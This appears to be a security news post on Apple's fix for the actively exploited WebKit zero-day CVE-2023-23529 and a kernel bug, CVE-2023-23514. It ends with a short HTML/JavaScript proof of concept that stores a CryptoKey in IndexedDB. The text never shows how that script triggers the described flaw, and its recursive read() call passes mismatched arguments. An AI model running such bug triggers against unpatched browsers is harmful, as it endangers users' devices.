Apple has released security updates to address a zero-day vulnerability (CVE-2023-23529) in WebKit, the browser engine that powers the Safari browser and other web browsers on iOS and iPadOS. The vulnerability is caused by a type confusion issue, triggered by processing malicious web content, and could allow attackers to execute arbitrary code on a vulnerable device. Apple states that the vulnerability may have been actively exploited.
The vulnerability has been fixed in iOS 16.3.1 and iPadOS 16.3.1, macOS Ventura 13.2.1, and Safari 16.3.1. It may also have been fixed in tvOS 16.3.2 and watchOS 9.3.1, though release notes for these updates have not yet been released. Users of older devices may have to wait for the patch to be backported to older iOS and iPadOS versions.
In addition to CVE-2023-23529, the iOS and iPadOS update also contains a fix for CVE-2023-23514, a use-after-free issue in the kernel that could allow a malicious app to execute arbitrary code with kernel privileges. The macOS update also includes fixes for CVE-2023-23529 and a privacy issue in the Shortcuts component.
While Apple did not provide details about the attacks that exploited the WebKit vulnerability, The Citizen Lab at The University of Toronto’s Munk School, an independent research organization that often researches and reports on the use of mobile spyware, was acknowledged in the release notes for their assistance in identifying the vulnerability. The acknowledgement has led to speculation that the vulnerability may have been used to spy on users.
Owners of iPhones, iPads, and iPad minis are advised to update their devices as soon as possible.
PoC for research:
https://gist.github.com/saagarjha/55a5921121c7fd9d435a12917a080059
<!DOCTYPE html> <html> <head> <script> var database; async function foo() { let key = await window.crypto.subtle.generateKey( { name: "HMAC", hash: {name: "SHA-256"} }, true, ["sign", "verify"] ); console.log(key); window.indexedDB.deleteDatabase("database"); let request = window.indexedDB.open("database", 1); request.onupgradeneeded = (event) => { let database = event.target.result; console.log(database); database.createObjectStore("store"); }; request.onsuccess = (event) => { database = event.target.result; console.log(database); let transaction = database.transaction("store", "readwrite"); console.log(transaction); let store = transaction.objectStore("store"); console.log(store); console.log(store.add(key, "key")); read(0); }; } function read(n) { console.log(database); let transaction = database.transaction("store", "readonly"); let store = transaction.objectStore("store"); store.getAll().onsuccess = (event) => { console.log(n, event.target.result); read(database, n + 1); }; } foo(); </script> </head> <body> </body> </html>